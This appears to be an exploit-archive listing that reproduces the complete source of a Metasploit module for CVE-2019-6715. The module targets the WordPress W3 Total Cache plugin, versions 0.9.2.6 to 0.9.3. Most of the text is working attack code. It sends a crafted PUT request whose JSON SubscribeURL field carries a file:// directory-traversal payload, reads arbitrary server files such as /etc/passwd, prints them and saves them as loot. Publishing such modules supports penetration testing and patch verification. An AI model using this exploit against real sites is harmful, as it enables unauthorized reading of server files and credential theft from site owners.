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WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal

WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal
Posted Dec 22, 2020
Authored by SunCSR, Hoa Nguyen, VinhJAXT | Site metasploit.com

This Metasploit module exploits an unauthenticated directory traversal vulnerability in WordPress plugin W3 Total Cache version 0.9.2.6 through 0.9.3, allowing arbitrary file read with the web server privileges.

tags | exploit, web, arbitrary
advisories | CVE-2019-6715
SHA-256 | b1fd7066d25604160753e81eec4934df777ae2201da72af60ddf06186600cd4d

WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress W3 Total Cache File Read Vulnerability',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in WordPress plugin
'W3 Total Cache' version 0.9.2.6-0.9.3, allowing arbitrary file read with
the web server privileges.
},
'References' =>
[
['CVE', '2019-6715'],
['WPVDB', '9248'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-6715'],
['URL','https://vinhjaxt.github.io/2019/03/cve-2019-6715'],
],
'Author' =>
[
'VinhJAXT', # Vulnerability discovery
'Hoa Nguyen - SunCSR Team' # Metasploit module
],
'DisclosureDate' => '2014-09-20',
'License' => MSF_LICENSE
)
)

register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 2])
]
)
end

def check
check_plugin_version_from_readme('w3-total-cache', '0.9.4', '0.9.26')
end

def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{^/}

json_body = { 'Type' => "SubscriptionConfirmation",
'Message' => '',
'SubscribeURL' => "file:///#{traversal}#{filename}"
}

res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(wordpress_url_plugins, 'w3-total-cache', 'pub','sns.php'),
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})

fail_with Failure::Unreachable, 'Connection failed' unless res
fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' unless res.code == 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

print_status('Downloading file...')
print_line("\n#{res.body}\n")

fname = datastore['FILEPATH']
path = store_loot(
'w3_total_cache.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
end
end

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